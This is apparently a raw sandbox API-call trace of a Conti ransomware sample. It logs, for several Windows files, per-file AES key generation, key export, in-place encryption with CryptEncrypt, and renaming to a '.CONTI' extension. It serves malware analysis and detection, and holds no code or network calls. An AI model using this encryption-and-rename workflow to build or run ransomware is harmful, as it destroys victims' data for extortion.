	[0093.905] ReadFile (in: hFile=0x338, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x16c3, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x16c3, lpOverlapped=0x0) returned 1
	[0093.926] CryptEncrypt (in: hKey=0x175e770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x16c3, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x16d0) returned 1
	[0093.926] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.926] WriteFile (in: hFile=0x338, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x16d0, lpOverlapped=0x0) returned 1
	[0093.926] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.926] WriteFile (in: hFile=0x338, lpBuffer=0x17d61d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x17d61d8*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0093.926] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.926] CloseHandle (hObject=0x338) returned 1
	[0093.927] GetProcessHeap () returned 0x1720000
	[0093.927] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17c7588
	[0093.927] lstrcpyW (in: lpString1=0x17c7588, lpString2="C:\\588bce7c90097ed212\\2052\\eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned="C:\\588bce7c90097ed212\\2052\\eula.rtf"
	[0093.927] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\2052\\eula.rtf", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\2052\\eula.rtf.CONTI") returned="C:\\588bce7c90097ed212\\2052\\eula.rtf.CONTI"
	[0093.927] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.CONTI" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.conti")) returned 1
	[0093.928] GetProcessHeap () returned 0x1720000
	[0093.928] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7588 | out: hHeap=0x1720000) returned 1
	[0093.928] CryptDestroyKey (hKey=0x175e770) returned 1
	[0093.928] GetProcessHeap () returned 0x1720000
	[0093.928] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d0a8 | out: hHeap=0x1720000) returned 1
	[0093.928] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0094.108] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x17d2fb0 | out: phKey=0x17d2fb0*=0x175e4b0) returned 1
	[0094.108] CryptExportKey (in: hKey=0x175e4b0, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2fb4, pdwDataLen=0x3e3fe8c | out: pbData=0x17d2fb4*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0094.111] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 0x80
	[0094.119] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0094.119] GetLastError () returned 0x0
	[0094.119] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=39042) returned 1
	[0094.119] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x9882
	[0094.119] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.119] SetEndOfFile (hFile=0x34c) returned 1
	[0094.120] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.120] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.120] WriteFile (in: hFile=0x34c, lpBuffer=0x17d2fb4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x17d2fb4*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0094.122] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.122] ReadFile (in: hFile=0x34c, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x9882, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x9882, lpOverlapped=0x0) returned 1
	[0094.123] CryptEncrypt (in: hKey=0x175e4b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x9882, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x9890) returned 1
	[0094.123] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.123] WriteFile (in: hFile=0x34c, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x9890, lpOverlapped=0x0) returned 1
	[0094.123] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.123] WriteFile (in: hFile=0x34c, lpBuffer=0x17d2fa8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x17d2fa8*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0094.123] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.123] CloseHandle (hObject=0x34c) returned 1
	[0094.124] GetProcessHeap () returned 0x1720000
	[0094.124] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0094.125] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" | out: lpString1="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned="C:\\588bce7c90097ed212\\Client\\UiInfo.xml"
	[0094.125] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Client\\UiInfo.xml", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.CONTI") returned="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.CONTI"
	[0094.125] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), lpNewFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.CONTI" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.conti")) returned 1
	[0094.127] GetProcessHeap () returned 0x1720000
	[0094.127] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0094.127] CryptDestroyKey (hKey=0x175e4b0) returned 1
	[0094.127] GetProcessHeap () returned 0x1720000
	[0094.127] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7248 | out: hHeap=0x1720000) returned 1
	[0094.127] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0095.293] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x17d3440 | out: phKey=0x17d3440*=0x17c85b0) returned 1
	[0095.293] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3444, pdwDataLen=0x3e3fe8c | out: pbData=0x17d3444*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0095.294] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx")) returned 0x20
	[0096.830] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4
	[0096.830] GetLastError () returned 0x0
	[0096.831] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=69632) returned 1
	[0096.831] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.831] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.831] SetEndOfFile (hFile=0x3a4) returned 1
	[0096.831] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.831] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.831] WriteFile (in: hFile=0x3a4, lpBuffer=0x17d3444*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x17d3444*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0096.833] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.833] ReadFile (in: hFile=0x3a4, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x11000, lpOverlapped=0x0) returned 1
	[0096.861] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x11000, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x11010) returned 1
	[0096.862] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.862] WriteFile (in: hFile=0x3a4, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x11010, lpOverlapped=0x0) returned 1
	[0096.862] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.862] WriteFile (in: hFile=0x3a4, lpBuffer=0x17d3438*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x17d3438*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0096.862] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.862] CloseHandle (hObject=0x3a4) returned 1
	[0096.900] GetProcessHeap () returned 0x1720000
	[0096.900] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180b888
	[0096.901] lstrcpyW (in: lpString1=0x180b888, lpString2="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx"
	[0096.901] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.CONTI"
	[0096.901] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.conti")) returned 1
	[0096.939] GetProcessHeap () returned 0x1720000
	[0096.939] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180b888 | out: hHeap=0x1720000) returned 1
	[0096.940] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0096.940] GetProcessHeap () returned 0x1720000
	[0096.940] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1733bb8 | out: hHeap=0x1720000) returned 1
	[0096.940] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0099.165] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x17e9470 | out: phKey=0x17e9470*=0x17c80f0) returned 1
	[0099.165] CryptExportKey (in: hKey=0x17c80f0, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e9474, pdwDataLen=0x3e3fe8c | out: pbData=0x17e9474*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0099.166] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\stream.x64.x-none.man.dat")) returned 0x20
	[0099.166] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\stream.x64.x-none.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0099.166] GetLastError () returned 0x0
	[0099.166] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=3688458) returned 1
	[0099.166] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x38480a
	[0099.166] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.166] SetEndOfFile (hFile=0x390) returned 1
	[0101.777] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0101.777] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.777] WriteFile (in: hFile=0x390, lpBuffer=0x17e9474*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x17e9474*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0102.644] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0102.644] ReadFile (in: hFile=0x390, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x38480a, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x38480a, lpOverlapped=0x0) returned 1
	[0103.385] CryptEncrypt (in: hKey=0x17c80f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x38480a, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x384810) returned 1
	[0103.391] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.391] WriteFile (in: hFile=0x390, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x384810, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x384810, lpOverlapped=0x0) returned 1
	[0104.140] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.140] WriteFile (in: hFile=0x390, lpBuffer=0x17e9468*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x17e9468*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0104.140] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0104.140] CloseHandle (hObject=0x390) returned 1
	[0104.245] GetProcessHeap () returned 0x1720000
	[0104.245] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x654df78
	[0104.246] lstrcpyW (in: lpString1=0x654df78, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat"
	[0104.246] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat.CONTI"
	[0104.246] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\stream.x64.x-none.man.dat"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\stream.x64.x-none.man.dat.conti")) returned 1
	[0104.246] GetProcessHeap () returned 0x1720000
	[0104.246] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x654df78 | out: hHeap=0x1720000) returned 1
	[0104.246] CryptDestroyKey (hKey=0x17c80f0) returned 1
	[0104.246] GetProcessHeap () returned 0x1720000
	[0104.246] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cb2a8 | out: hHeap=0x1720000) returned 1
	[0104.246] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0104.991] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x17d5f98 | out: phKey=0x17d5f98*=0x17c80f0) returned 1
	[0104.991] CryptExportKey (in: hKey=0x17c80f0, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5f9c, pdwDataLen=0x3e3fe8c | out: pbData=0x17d5f9c*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0104.992] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\utc.app.json.bk")) returned 0x20
	[0104.992] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\utc.app.json.bk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0104.993] GetLastError () returned 0x0
	[0104.993] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=1663) returned 1
	[0104.993] SetFilePointer (in: hFile=0x324, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x67f
	[0104.993] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.993] SetEndOfFile (hFile=0x324) returned 1
	[0104.993] SetFilePointer (in: hFile=0x324, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0104.993] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.993] WriteFile (in: hFile=0x324, lpBuffer=0x17d5f9c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x17d5f9c*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0105.033] SetFilePointer (in: hFile=0x324, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0105.033] ReadFile (in: hFile=0x324, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x67f, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x67f, lpOverlapped=0x0) returned 1
	[0105.033] CryptEncrypt (in: hKey=0x17c80f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x67f, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x680) returned 1
	[0105.033] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.033] WriteFile (in: hFile=0x324, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x680, lpOverlapped=0x0) returned 1
	[0105.033] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.033] WriteFile (in: hFile=0x324, lpBuffer=0x17d5f90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x17d5f90*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0105.034] SetFilePointer (in: hFile=0x324, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0105.034] CloseHandle (hObject=0x324) returned 1
	[0105.034] GetProcessHeap () returned 0x1720000
	[0105.034] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6585ee0
	[0105.034] lstrcpyW (in: lpString1=0x6585ee0, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk"
	[0105.034] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk.CONTI") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk.CONTI"
	[0105.035] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\utc.app.json.bk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk.CONTI" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\utc.app.json.bk.conti")) returned 1
	[0105.035] GetProcessHeap () returned 0x1720000
	[0105.035] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6585ee0 | out: hHeap=0x1720000) returned 1
